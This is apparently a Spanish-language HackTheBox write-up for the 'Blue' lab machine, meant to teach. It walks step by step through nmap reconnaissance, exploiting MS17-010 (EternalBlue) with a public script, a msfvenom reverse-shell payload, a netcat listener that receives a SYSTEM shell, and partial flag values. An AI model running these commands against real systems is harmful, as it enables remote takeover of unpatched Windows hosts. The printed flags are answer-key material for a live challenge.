HTB Blue
¡Hola!
En esta ocasión vamos a resolver de la maquina Blue
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre blue
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack blue
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.40
[*] Detectando sistema operativo ...
[+] 10.10.10.4 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.40 -oG ports | grep open
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49155/tcp open unknown
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p135,139,445,49155 -sCV 10.10.10.40 -oN versions
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49155/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-07-21T22:51:14
|_ start_date: 2022-07-21T22:43:44
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-07-21T23:51:11+01:00
|_clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s
RECONOCIMIENTO SMB
Iniciamos con el reconocimiento del servicio smb
donde inicialmente ejecutamos todos los scripts potencialmente vulnerables soportados por nmap, en búsqueda de posibles CVEs vulnerables en la máquina.
nmap -p445 10.10.10.40 --script "smb-vuln*"
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
¡Encontramos un CVE que presenta vulnerabilidades en la máquina! ms17-010
.
EXPLOTACION POR MS17-010
Vamos a realizar la explotación de nuestro primer CVE, para este caso haremos uso del script de github de helviojunior para esta explotación es necesario tener instalado python2.
git clone https://github.com/helviojunior/MS17-010
cd MS17-010/
Creamos un ambiente virtual de python2 para poder ejecutar el script sin presentar errores por librerías sin soporte.
virtualenv -p python2 ms17-010
source ms17-010/bin/activate
Ahora que nos encontramos en el ambiente virtual, procedemos a descargar la librería impacket requerida para ejecutar el exploit.
pip install impacket
Como primer paso, vamos a ejecutar el checker.py
que nos ayuda a identificar el nombre del pipe que vamos a utilizar en el script de explotación.
python checker.py 10.10.10.40
Trying to connect to 10.10.10.40:445
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched
=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED
En esta oportunidad no hemos tenido éxito encontrando un nombre de pipe que podamos utilizar para nuestra explotación, por lo que procedemos a modificar el script checker.py
, agregando el usuario “guest” en el campo de usuario.
vim checker.py
**AGREGAR guest EN LA LINEA 14
USERNAME = 'guest'
Intentamos nuevamente realizar la ejecución del script checker.py
python checker.py 10.10.10.40
Trying to connect to 10.10.10.40:445
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched
=== Testing named pipes ===
spoolss: STATUS_OBJECT_NAME_NOT_FOUND
samr: Ok (64 bit)
netlogon: Ok (Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint))
lsarpc: Ok (64 bit)
browser: Ok (64 bit)
Tal como podemos ver, los nombres de pipe que podemos utilizar son los de status OK, en este caso samr
, netlogon
, lsarpc
y browser
.
Para poder tener éxito, es necesario generar una reverse shell por medio de la utilidad msfvenom
con nuestra dirección IP y puerto de escucha para obtener posteriormente la shell denominada reverseShell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4564 -f exe -o reverseShell.exe
Para que el script de explotación funcione de manera correcta, debemos repetir el proceso que realizamos con checker.py
, pero esta vez la modificación se realiza en el script send_and_execute.py
.
vim send_and_execute.py
**AGREGAR guest EN LA LINEA 37
USERNAME = 'guest'
Ahora que tenemos el pipe, la reverse shell generada y el script modificado, procedemos a ejecutar el script de explotación send_and_execute.py
para cargar y ejecutar el payload.
python send_and_execute.py 10.10.10.40 reverseShell.exe 445 samr
Trying to connect to 10.10.10.40:445
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa800472f580
SESSION: 0xfffff8a0095f3060
FLINK: 0xfffff8a008170088
InParam: 0xfffff8a00816015c
MID: 0x4203
unexpected alignment, diff: 0xf088
leak failed... try again
CONNECTION: 0xfffffa800472f580
SESSION: 0xfffff8a0095f3060
FLINK: 0xfffff8a00818c088
InParam: 0xfffff8a00817f15c
MID: 0x4303
unexpected alignment, diff: 0xc088
leak failed... try again
CONNECTION: 0xfffffa800472f580
SESSION: 0xfffff8a0095f3060
FLINK: 0xfffff8a00819b088
InParam: 0xfffff8a00819515c
MID: 0x4303
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Sending file AKVQL9.exe...
Opening SVCManager on 10.10.10.40.....
Creating service PTse.....
Starting service PTse.....
The NETBIOS connection with the remote host timed out.
Removing service PTse.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done
Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario NT Authority/System
rlwrap nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.40] 49159
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
ESCALADA DE PRIVILEGIOS
En esta ocasión el escalamiento de privilegios no fue necesario debido a que la explotación del CVE nos permitió el acceso al usuario administrador directamente, dando una ventaja en cuando a la búsqueda de vías potenciales de escalamiento.
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
cd C:\
dir /b/s user.txt
C:\Users\haris\Desktop\user.txt
set /P user=<"C:\Users\haris\Desktop\user.txt"
echo.%user:~0,10%
05789868dd
dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~0,10%
3237c9c2dc
¡Hemos logrado completar la máquina Blue
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.